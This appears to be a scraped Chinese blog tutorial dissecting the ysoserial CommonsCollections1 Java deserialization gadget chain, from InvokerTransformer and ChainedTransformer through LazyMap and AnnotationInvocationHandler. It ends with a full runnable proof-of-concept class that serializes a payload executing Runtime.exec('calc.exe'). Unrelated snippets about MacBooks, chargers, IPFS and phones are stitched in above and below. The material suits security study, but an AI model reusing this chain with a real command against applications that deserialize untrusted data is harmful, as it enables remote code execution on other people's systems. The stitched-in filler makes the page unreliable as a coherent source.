<em>Mac</em>Book项目 2009年学校开始实施<em>Mac</em>Book项目,所有师生配备一本<em>Mac</em>Book,并同步更新了校园无线网络。学校每周进行电脑技术更新,每月发送技术支持资料,极大改变了教学及学习方式。因此2011
2021-06-01 09:32:01
/* Gadget chain: ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec() Requires: commons-collections */
先假設Runtime類可序列化,最終要實現:
Runtime runtime = Runtime.getRuntime(); runtime.exec("calc.exe");
從最後一步開始,呼叫InvokerTransformer.transform()
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { super(); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; }
public Object transform(Object input) { if (input == null) { return null; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex); } }
transform方法實現了完整的反射,通過InvokerTransformer構造方法傳入方法和引數。
所以這一步的利用鏈
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}).transform(runtime);
InvokerTransformer的transform的呼叫,在ChainedTransformer的transform實現。
public ChainedTransformer(Transformer[] transformers) { super(); iTransformers = transformers; } public Object transform(Object object) { for (int i = 0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }
如果Transformer[]裡面的物件是:
Transformer[0]:new ConstantTransformer(runtime)
Transformer[1]:invokerTransformer
第一次迴圈:(new ConstantTransformer(runtime)).transform() runtime物件返回給object
第二次迴圈:invokerTransformer.transform(runtime)
所以這一步的利用鏈:
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(runtime),invokerTransformer}); chainedTransformer.transform(1);
LazyMap的get方法存在transform呼叫(key不存在的時候)。
public class LazyMap extends AbstractMapDecorator implements Map, Serializable { public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); } protected LazyMap(Map map, Transformer factory) { super(map); if (factory == null) { throw new IllegalArgumentException("Factory must not be null"); } this.factory = factory; } private void writeObject(ObjectOutputStream out) throws IOException { out.defaultWriteObject(); out.writeObject(map); } private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); map = (Map) in.readObject(); } //----------------------------------------------------------------------- public Object get(Object key) { // create value for key if key is not currently in the map if (map.containsKey(key) == false) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); } }
通過decorate方法,修改this.factory為chainedTransformer物件,最後通過get不存在的key呼叫chainedTransformer的transform
所以利用鏈
HashMap hashMap = new HashMap(); LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer); lazyMap.get(1);
這裡面用的AnnotationInvocationHandler的invoke,該方法存在某個屬性的get,屬性可通過構造方法改變。
class AnnotationInvocationHandler implements InvocationHandler, Serializable { private static final long serialVersionUID = 6182022883658399397L; private final Class<? extends Annotation> type; private final Map<String, Object> memberValues; AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) { Class<?>[] superInterfaces = type.getInterfaces(); if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0] != java.lang.annotation.Annotation.class) throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type."); this.type = type; this.memberValues = memberValues; } public Object invoke(Object proxy, Method method, Object[] args) { String member = method.getName(); Class<?>[] paramTypes = method.getParameterTypes(); // Handle Object and Annotation methods if (member.equals("equals") && paramTypes.length == 1 && paramTypes[0] == Object.class) return equalsImpl(args[0]); if (paramTypes.length != 0) throw new AssertionError("Too many parameters for an annotation method"); switch(member) { case "toString": return toStringImpl(); case "hashCode": return hashCodeImpl(); case "annotationType": return type; } // Handle annotation member accessors Object result = memberValues.get(member); if (result == null) throw new IncompleteAnnotationException(type, member); if (result instanceof ExceptionProxy) throw ((ExceptionProxy) result).generateException(); if (result.getClass().isArray() && Array.getLength(result) != 0) result = cloneArray(result); return result; } /** * This method, which clones its array argument, would not be necessary * if Cloneable had a public clone method. */
因為AnnotationInvocationHandler類非public,通過反射呼叫
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, lazyMap);
物件初始化memberValues,得到物件handler,接下來就是讓handler物件執行invoke
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
proxyMap已經有了,那麼應該怎麼觸發handler執行方法,來呼叫invoke方法
AnnotationInvocationHandler的readobject方法,存在對memberValues執行entrySet()所以用proxyMap物件重新生成一個AnnotationInvocationHandler物件
InvocationHandler handle = (InvocationHandler) declaredConstructor.newInstance(Retention.class, proxyMap);
handle
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); // Check to make sure that types have not evolved incompatibly AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; time to punch out throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream"); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); // If there are annotation members without values, that // situation is handled by the invoke method. for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null) { // i.e. member still exists Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name))); } } } }
最後AnnotationInvocationHandler物件反序列化,執行readobject也就觸發了proxyMap的invoke方法
要解決的問題:Runtime類未實現Serializable,需要使用反射呼叫,反射方法用什麼來觸發執行?
Runtime runtime = Runtime.getRuntime(); runtime.exec("calc.exe");
反射方式實現:
Class cr = Class.forName("java.lang.Runtime"); Method getRuntime = cr.getMethod("getRuntime", null); Runtime runtime = (Runtime) getRuntimemethod.invoke(null, null); Method execmethod = cr.getMethod("exec", String.class); execmethod.invoke(runtimemethod,"calc.exe");
反射方法通過InvokerTransformer實現
Class cr = Class.forName("java.lang.Runtime"); Method getRuntimemethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}).transform(cr); Runtime runtimemethod = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null, null}).transform(getRuntimemethod); new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}).transform(runtimemethod);
ChainedTransformer中的transform正好實現了這組鏈的呼叫
public Object transform(Object object) { for (int i = 0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }
所以最後runtime的實現利用鏈:
Transformer[] transformers = { new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }; ChainedTransformer chainedTransformerruntime = new ChainedTransformer(transformers); chainedTransformerruntime.transform(cr);
最終實現的利用鏈:
public class CC1Test3 { public static void main(String[] args) throws Exception { Class cr = Class.forName("java.lang.Runtime"); Transformer[] transformers = { new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }; ChainedTransformer chainedTransformerruntime = new ChainedTransformer(transformers); ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(cr),chainedTransformerruntime}); HashMap hashMap = new HashMap(); LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, lazyMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler); InvocationHandler handle = (InvocationHandler) declaredConstructor.newInstance(Retention.class, proxyMap); ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\cc1.ser")); objectOutputStream.writeObject(handle); ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\cc1.ser")); objectInputStream.readObject(); } }
以上就是java安全 ysoserial CommonsCollections1範例解析的詳細內容,更多關於java安全 ysoserial CommonsCollections的資料請關注it145.com其它相關文章!
相關文章
<em>Mac</em>Book项目 2009年学校开始实施<em>Mac</em>Book项目,所有师生配备一本<em>Mac</em>Book,并同步更新了校园无线网络。学校每周进行电脑技术更新,每月发送技术支持资料,极大改变了教学及学习方式。因此2011
2021-06-01 09:32:01
综合看Anker超能充系列的性价比很高,并且与不仅和iPhone12/苹果<em>Mac</em>Book很配,而且适合多设备充电需求的日常使用或差旅场景,不管是安卓还是Switch同样也能用得上它,希望这次分享能给准备购入充电器的小伙伴们有所
2021-06-01 09:31:42
除了L4WUDU与吴亦凡已经多次共事,成为了明面上的厂牌成员,吴亦凡还曾带领20XXCLUB全队参加2020年的一场音乐节,这也是20XXCLUB首次全员合照,王嗣尧Turbo、陈彦希Regi、<em>Mac</em> Ova Seas、林渝植等人全部出场。然而让
2021-06-01 09:31:34
目前应用IPFS的机构:1 谷歌<em>浏览器</em>支持IPFS分布式协议 2 万维网 (历史档案博物馆)数据库 3 火狐<em>浏览器</em>支持 IPFS分布式协议 4 EOS 等数字货币数据存储 5 美国国会图书馆,历史资料永久保存在 IPFS 6 加
2021-06-01 09:31:24
开拓者的车机是兼容苹果和<em>安卓</em>,虽然我不怎么用,但确实兼顾了我家人的很多需求:副驾的门板还配有解锁开关,有的时候老婆开车,下车的时候偶尔会忘记解锁,我在副驾驶可以自己开门:第二排设计很好,不仅配置了一个很大的
2021-06-01 09:30:48
不仅是<em>安卓</em>手机,苹果手机的降价力度也是前所未有了,iPhone12也“跳水价”了,发布价是6799元,如今已经跌至5308元,降价幅度超过1400元,最新定价确认了。iPhone12是苹果首款5G手机,同时也是全球首款5nm芯片的智能机,它
2021-06-01 09:30:45